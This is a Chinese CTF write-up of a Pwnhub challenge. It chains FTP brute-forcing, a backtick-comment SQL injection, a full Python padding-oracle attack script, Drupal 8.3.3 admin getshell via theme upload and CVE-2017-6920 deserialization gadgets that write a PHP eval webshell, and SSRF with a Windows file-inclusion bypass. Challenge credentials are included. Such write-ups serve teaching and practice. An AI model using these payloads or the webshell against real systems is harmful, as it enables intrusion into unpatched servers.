Pwnhub-粗心的佳佳-writeup

前言

伏地膜,已经撸了三天两夜,玩ctf思路就僵化,导致有些点不存在漏洞也花了点时间.
总结两点:
1、Oracle padding attack得到明文后,还可以再构造任意长度的自己想要的内容。一般脚本是直接去爆破iv,但是此题存在中间值第一位无法得出,这时候可以通过已知明文去爆破得到中间值。
2、drupal 8 后台 getshell,网上搜索大部分讲的是drupal 7.x 利用PHP filter模块去getshell,但这个模块后面是为了安全考虑移除掉的,这里我分享了两种方式去getshell,第二种是利用了CVE-2017-6920对drupal 8.3.3去写shell,有一定局限性。


一开始就是nmap扫描发现了21、22、80端口
通过爆破得到test/test123可以进入ftp然后下载drupal插件源码,=。=,发现可以列系统目录

询问了一下Ven师傅,说是k1n9师傅已经和他已经反馈了ftp可以穿目录读取文件,也已经修补了,但是不知道为什么我测试的时候还存在,看了一下配置,发现chroot_local_user打开了,

不过幸好ftp其他权限做的不错,才能没导致直接上传shell之类的非预期。不过还是能够读取到Oracle padding attack中的aes密钥,所以基本无阻构造payload拿到邮箱。不过最后还是老老实实的来按出题人思路来学习一下。

Sql注入

可以看到过滤了很多字符,大部分注释符都没了,然后用了addslashes,但是剩下一个反引号

public function get_by_id(Request $request) {
	$nid = $request->get('id');
	$nid = $this->set_decrpo($nid);
	//echo $nid;
	$this->waf($nid);
	$nid = addslashes($nid);
	$waf_t = 233;
	if (strlen((string) $nid) > 16) {
		$waf_t = "Id number can't too long";
	}
	$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid} and {$waf_t} = 233")->fetchAssoc();
	if (!$query) {
		die("nothing!");
	}
	return array(
		'#title' => $this->t($query['title']),
		'#markup' => '<p>' . $this->t($query['body_value']) . '</p>',
	);
}

反引号之所以可以当注释符是因为会把其中的内容当做表、数据库别名
具体可以看雨师傅博客:http://www.yulegeyu.com/2017/04/11/为什么-backtick-能做注释符/

9 union select 1,(select mail from users_field_data limit 1,1),3 order by @`

另外空格就随便用一些空白字符bypass,我使用的是%0B
所以上面就是可以注入出drupal的管理员邮箱,但是这段payload又需要进行oracle padding attack

Oracle padding attack

NJCTF就出过一道类似的题目,但需要修改的数据不多

private function get_random_token() {
	$random_token = '';
	for ($i = 0; $i < 16; $i++) {
		$random_token .= chr(rand(1, 255));
	}
	return $random_token;
}
private function set_crpo($id) {
	$token = $this->get_random_token();
	$c = openssl_encrypt((string) $id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
	$retid = base64_encode(base64_encode($token . '|' . $c));
	return $retid;
}
private function set_decrpo($id) {
	if ($c = base64_decode(base64_decode($id))) {
		if ($iv = substr($c, 0, 16)) {
			if ($pass = substr($c, 17)) {
				if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
					return $u;
				} else {
					die("haker?bu chun zai de!");
				}
			} else {
				return 1;
			}
		} else {
			return 1;
		}
	} else {
		return 1;
	}
}

这里面特别需要注意的是

if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
    return $u;
} else {
    die("haker?bu chun zai de!");
}

也就是解密失败或者解出后的值为空的时候,都会结束
此题中,在解出后的值为空值为空的情况下,上面的if判断会导致第16位中间值是猜不出来的

再仔细看看解密过程

一个密文加密后,它的中间值是固定的,这个时候我们知道id为1的文章密文是
SlYxRjRURG90NDVTeXpXVUg5MjdpbnlnSnVxNFhDY09Ca1BSUUd3TjNFbCs=,他填充后的明文是\x31\x0f\0f....,根据在前面已经爆破出后15的中间值,其实也就是可以确认iv的值(通过异或0x0f),可以发现这15个值就是爆破第15个数的后的15个值。
最终得到的iv,经过解密,可以得到id为1,也就是表明了这个中间值是正确的。

修改了一份网上的代码
http://www.cnblogs.com/zlhff/p/5519175.html

代码较长,附在文章末尾.

http://54.223.91.224/get_en_news_by_id/ai9zVDEyUVVUb1RDTG1EbHZvWGtSbnp3QzVlaWxScFEyb2x2Y09RYng2WjlwY0pHWEdSNTFyVjBQY3pNVTlFenNBVnlTZWtDNVAvY2dqMWVodHpWbnlvZlBUaUtXcFd6NHlUUGV2c1UxckNCb0NicXVGd25EZ1pEMFVCc0RkeEpmZz09

得到邮箱pwnhubvenneo@126.com,开始是pwnhubvenneo@21cn.com,本来还是让猜的,不过...没猜几次然后邮箱号就被封了。

密码可以从这得到是admin888

http://54.223.91.224/get_en_news_by_id/ZERXNjZzcElRVDlldGxGc0VpZlBsM3lWTS8rSjZQVHZ0dTY5eUxWdi9hYys=

Docx技巧

在垃圾桶里面可以翻到一份邮件

https://827977014.docs.qq.com/gzTMmYOm1Zh?opendocxfrom=tim&has_onekey=1 

在这里是可以看到修改记录的,一般协作文档会有这个功能,比如石墨

2017/06/30 21:50:24可以找到drupal的账号密码

用户名:admin
密码:dAs^f#G*dDf@#%gdfjh

drupal 8 后台 getshell

后台登录
http://54.223.91.224/user/login

从更新页面来看,这是drupal 8.3.3版本,

http://54.223.91.224/admin/reports/updates/update

网上搜了一圈,大部分讲的是drupal 7.x 利用PHP filter模块去getshell,但是为了安全考虑,7.xx..具体不记得了,然后就没得这个模块。

方法一(主题上传):
这里需要打开Update Manager,这样才能上传主题

http://54.223.91.224/admin/modules
http://54.223.91.224/admin/appearance

比如我上传一个stark_lemon的zip,里面包含着shell,最后会在此目录:\drupal-8.3.3\themes\stark_lemon

但是由于.htaccess的作用,shell会执行不成功,所以应该还需要在zip里面再放一个.htaccess

RewriteEngine On

RewriteCond %{REQUEST_URI} ^/y$|^/y/
RewriteRule . /index.php [L]

RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]

RewriteCond %{REQUEST_URI}::$1 ^(/.+)(.+)::\2$
RewriteRule ^(.*) - [E=BASE:%1]
RewriteRule ^(.*)$ %{ENV:BASE}index.php [NC,L]

测试了一番发现themes没得写入权限

方法二(CVE-2017-6920):
利用的话,大概就是能够任意反序列化
找一下带有__destruct的类,发现对此题有用的在这几处

第一处是能够执行无参数函数,比如这题就可以从phpinfo获取到web目录

\drupal-8.3.3\vendor\guzzlehttp\psr7\src\FnStream.php

public function __destruct() {
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}

利用

$methods = array();
$methods['close'] = 'phpinfo';

最后生成O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}

触发点

http://54.223.91.224/admin/config/development/configuration/single/import

需要注意的是,里面需要转义一下

这样可以得到web的路径

/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/

第二处是能够写SHELL

\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

public function __destruct()
{
    $this->save($this->filename);
}

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
    if (false === file_put_contents($filename, $jsonStr)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

看下上面foreach的$this变量

现在主要是想如何给CookieJar中的私有变量cookies给值,注意是私有变量

所以可以整理一下反序列化流程

  1. 先给CookieJar中的私有变量cookies
  2. 再去调用FileCookieJar类去生成文件

所以我一开始就是在CookieJar类中想赋值,结果发现,也就遇到一堆问题

a. 直接在初始化赋值会报错,(private $cookies = xxxxx;),因为这里面传入的需要a一个SetCookie对象

在这也可以看到,CookieJar是会初始化的,然后给cookie变量赋值SetCookie变量

b. __construct写payload

\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\CookieJar.php

public function __construct($strictMode = false, $cookieArray = [])
{
    $this->strictMode = $strictMode;
    foreach ($cookieArray as $cookie) {
        if (!($cookie instanceof SetCookie)) {
            $cookie = new SetCookie($cookie);
        }

        $this->setCookie($cookie);
    }
}

但是在这里面写payload的话,调用不是按上面反序列化流程走的,也就是最终是没法把shell写入文件的.

最后才发现class FileCookieJar extends CookieJar,其中CookieJar里面有一个setCookie方法,可以给私有变量cookies赋值,所以可以构造exp,生成shell啦。

$cookieFile = "/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/lemon.php";
$storeSessionCookies = True;
$this->filename = $cookieFile;
$evil = '<?php eval(@$_POST[lemonaaa1]);?>';
$cookieArray = \GuzzleHttp\json_decode('{"Name":"aaa","Value":"bbb","Domain":"'.$evil.'","Path":"\/","Max-Age":null,"Expires":null,"Secure":false,"Discard":false,"HttpOnly":false,"aaa":"bbb"}',true);
$this->setCookie(new SetCookie($cookieArray));

O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:63:\"/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/lemon.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:1;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:10:{s:4:\"Name\";s:3:\"aaa\";s:5:\"Value\";s:3:\"bbb\";s:6:\"Domain\";s:33:\"<?php eval(@$_POST[lemonaaa1]);?>\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";N;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;s:3:\"aaa\";s:3:\"bbb\";}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}

得到shell

http://54.223.91.224/upload/lemon.php
pass: lemonaaa1

windows特性

从arp表中发现另外一个地址172.31.15.26,是台windows

http://54.223.91.224/upload/curl.php?url=172.31.15.26

后台地址

http://54.223.91.224/upload/curl.php?url=172.31.15.26/manage/index.php
账号:admin
密码:dAs^f#G*dDf@#%gdfjh

这个地方测了挺久的注入,没想到就只是单纯的登录,然后密码是开始drupal的后台密码

另外发现这个是能够包含文件的,当时没给部分源码的时候,测的特别奇怪.

http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.js
不可以包含
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.<<
不可以包含
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min<<
可以包含

后面在网页放了waf的部分源码

54.223.91.224/upload/curl.php?url=172.31.15.26/incp.php?path=index.php

if(stripos(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION)),".")!==false)
 die("error");
if(is_numeric(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION))))
 die("error");
 if(pathinfo($file, PATHINFO_EXTENSION)=='')
  die("error");

大概就是<<能够替代任何字符,所以,1234567.txt变成这样也是可以的1234567<<.txt<<

所以最后就可以拿到一个shell,然后读取目录,获取flag

http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=../pwnhubflagishere2333333hi.txt<<

flag: pwnhub{flag:佳佳是小姐姐?不存在的23333}

脚本

import sys
from Crypto.Cipher import *
import binascii
import base64
import requests
import urllib

ENCKEY = '1234567812345678'
URL = 'http://54.223.91.224/get_en_news_by_id/'
#URL = 'http://10.211.55.3/test/sql/pwnhub.php?a=id&id='
KOWN_STR = '1'

def main(args):
  ########################################
  # you may config this part by yourself
  d = base64.b64decode(base64.b64decode('SlYxRjRURG90NDVTeXpXVUg5MjdpbnlnSnVxNFhDY09Ca1BSUUd3TjNFbCs='))
  iv = d[0:16]
  ciphertext = d[17:]
  plain = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

  space = urllib.unquote('%0b')
  plain_want = "9 union select 1,(select mail from users_field_data limit 1,1),3 order by @`"
  plain_want = plain_want.replace(' ',space)
  print plain_want
  # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 
  cipher = "AES"
  ########################################
  block_size = 8
  if cipher.lower() == "aes":
    block_size = 16
  if len(iv) != block_size:
    print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
    return False
  print "=== Generate Target Ciphertext ==="
  if not ciphertext:
    print "[-] Encrypt Error!"
    return False
  print "[+] plaintext is: "+plain
  print "[+] iv is: "+hex_s(iv)
  print "[+] ciphertext is: "+ hex_s(ciphertext)
  print
  print "=== Start Padding Oracle Decrypt ==="
  print
  print "[+] Choosing Cipher: "+cipher.upper()

  guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)

  #guess = True
  if guess:
    print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
    print "[+] plaintext = intermediary_value XOR original_IV"
    print "[+] Guess plaintext is: "+guess["plaintext"]
    print
    if plain_want:
      print "=== Start Padding Oracle Encrypt ==="
      print "[+] plaintext want to encrypt is: "+plain_want
      print "[+] Choosing Cipher: "+cipher.upper()
      en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
      if en:
        print "[+] Encrypt Success!"
        print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
        print "[+] IV is: "+hex_s(en[:block_size])
        print "[+] Base64 Encode: " + base64.b64encode(base64.b64encode(en[:block_size] + '|' + en[block_size:]))
        print
       
        print "=== Let's verify the custom encrypt result ==="
        print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
        de = decrypt(en[block_size:], en[:block_size], cipher)
        if de == add_PKCS5_padding(plain_want, block_size):
          print de
          print "[+] Bingo!"
        else:
          print "[-] It seems something wrong happened!"
          return False
    return True
  else:
    return False
def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
  # the last block
  guess_cipher = ciphertext[0-block_size:] 
  plaintext = add_PKCS5_padding(plaintext, block_size)
  print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
  print
  block = len(plaintext)
  iv_nouse = iv # no use here, in fact we only need intermediary
  prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
  while block > 0:
    # we need the intermediary value
    tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=True)
    # calculate the iv, the iv is the ciphertext of the previous block
    prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
    #save result
    print prev_cipher,guess_cipher
    guess_cipher = str(prev_cipher) + str(guess_cipher)
    block = block - block_size
  return guess_cipher  
def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
  cipher_block = split_cipher_block(ciphertext, block_size)
  if cipher_block:
    result = {}
    result["intermediary"] = ''
    result["plaintext"] = ''
    counter = 0
    for c in cipher_block:
      if debug:
        print "[*] Now try to decrypt block "+str(counter)
        print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
        print
      guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
      if guess:
        iv = c
        result["intermediary"] += guess["intermediary"]
        result["plaintext"] += guess["plaintext"]
        if debug:
          print
          print "[+] Block "+str(counter)+" decrypt!"
          print "[+] intermediary value is: "+hex_s(guess["intermediary"])
          print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
          print
        counter = counter+1
      else:
        print "[-] padding oracle decrypt error!"
        return False
    return result
  else:
    print "[-] ciphertext's block_size is incorrect!"    
    return False
def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
  result = {}
  plain = ''
  intermediary = []
  iv_p = []
  for i in range(1, block_size+1):
    iv_try = []
    print i
    iv_p = change_iv(iv_p, intermediary, i)
    for k in range(0, block_size-i):
      iv_try.append("\x00")
    iv_try.append("\x00")
    for b in range(0,256):
      iv_tmp = iv_try
      iv_tmp[len(iv_tmp)-1] = chr(b)
    
      iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
      for p in range(0,len(iv_p)):
        iv_tmp_s += iv_p[len(iv_p)-1-p]
      if i == 15:
        temp_save = iv_tmp_s
      if i != block_size:
        request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
        if 'haker' not in request_res.content:
          print request_res.content,b
          if debug:
            print "[*] Try IV: "+hex_s(iv_tmp_s)
            print "[*] Found padding oracle: " + hex_s(plain)
          iv_p.append(chr(b))
          intermediary.append(chr(b ^ i))
          
          break
      else:
        iv_tmp_s = chr(b) + temp_save[1:]
        request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
        if 'hacked by 23333' in request_res.content:
          print request_res.content,b
          if debug:
            print "[*] Try IV: "+hex_s(iv_tmp_s)
            print "[*] Found padding oracle: " + hex_s(plain)
          iv_p.append(chr(b))
          intermediary.append(chr(b ^ ord(KOWN_STR)))

  plain = ''
  for ch in range(0, len(intermediary)):
    plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
    
  result["plaintext"] = plain
  result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
  return result
def change_iv(iv_p, intermediary, p):
  for i in range(0, len(iv_p)):
    iv_p[i] = chr( ord(intermediary[i]) ^ p)
  return iv_p  
def split_cipher_block(ciphertext, block_size=8):
  if len(ciphertext) % block_size != 0:
    return False
  result = []
  length = 0
  while length < len(ciphertext):
    result.append(ciphertext[length:length+block_size])
    length += block_size
  return result
def check_PKCS5_padding(plain, p):
  if len(plain) % 8 != 0:
    return False
  plain = plain[::-1]
  ch = 0
  found = 0
  while ch < p:
    if plain[ch] == chr(p):
      found += 1
    ch += 1 
  if found == p:
    return True
  else:
    return False
def add_PKCS5_padding(plaintext, block_size):
  s = ''
  if len(plaintext) % block_size == 0:
    return plaintext
  if len(plaintext) < block_size:
    padding = block_size - len(plaintext)
  else:
    padding = block_size - (len(plaintext) % block_size)
  
  for i in range(0, padding):
    plaintext += chr(padding)
  return plaintext
def decrypt(ciphertext, iv, cipher):
  key = ENCKEY
  if cipher.lower() == "des":
    o = DES.new(key, DES.MODE_CBC,iv)
  elif cipher.lower() == "aes":
    o = AES.new(key, AES.MODE_CBC,iv)
  elif cipher.lower() == "des3":
    o = DES3.new(key, DES3.MODE_CBC,iv)
  elif cipher.lower() == "blowfish":
    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
  elif cipher.lower() == "cast":
    o = CAST.new(key, CAST.MODE_CBC,iv)
  elif cipher.lower() == "arc2":
    o = ARC2.new(key, ARC2.MODE_CBC,iv)
  else:
    return False
  if len(iv) % 8 != 0:
    return False
  if len(ciphertext) % 8 != 0:
    return False
  return o.decrypt(ciphertext)
def encrypt(plaintext, iv, cipher):
  key = ENCKEY
  if cipher.lower() == "des":
    if len(key) != 8:
      print "[-] DES key must be 8 bytes long!"
      return False
    o = DES.new(key, DES.MODE_CBC,iv)
  elif cipher.lower() == "aes":
    if len(key) != 16 and len(key) != 24 and len(key) != 32:
      print "[-] AES key must be 16/24/32 bytes long!"
      return False
    o = AES.new(key, AES.MODE_CBC,iv)
  elif cipher.lower() == "des3":
    if len(key) != 16:
      print "[-] Triple DES key must be 16 bytes long!"
      return False
    o = DES3.new(key, DES3.MODE_CBC,iv)
  elif cipher.lower() == "blowfish":
    o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
  elif cipher.lower() == "cast":
    o = CAST.new(key, CAST.MODE_CBC,iv)
  elif cipher.lower() == "arc2":
    o = ARC2.new(key, ARC2.MODE_CBC,iv)
  else:
    return False
  plaintext = add_PKCS5_padding(plaintext, len(iv))  
  return o.encrypt(plaintext)
def xor_str(a,b):
  if len(a) != len(b):
    return False
  c = ''
  for i in range(0, len(a)):
    c += chr( ord(a[i]) ^ ord(b[i]) )
  return c
def hex_s(str):
  re = ''
  for i in range(0,len(str)):
    re += "\\x"+binascii.b2a_hex(str[i])
  return re

def decrypt_online(ciphertext, iv, cipher):
  c = base64.b64encode(base64.b64encode(iv + '|' + ciphertext))
  url_ = URL + c
  try:
    r = requests.get(url_)
  except:
    print 'Error'
    r['content'] = 'haker'
  return r

def hex2str(h):
  c = ''
  h = h.split('\\x')[1:]
  for char_ in h:
    c += binascii.a2b_hex(char_)
  print base64.b64encode(base64.b64encode(c))

if __name__ == "__main__":
        main(sys.argv)
posted @ 2017-07-18 19:26  l3m0n  阅读(1953)  评论(0编辑  收藏  举报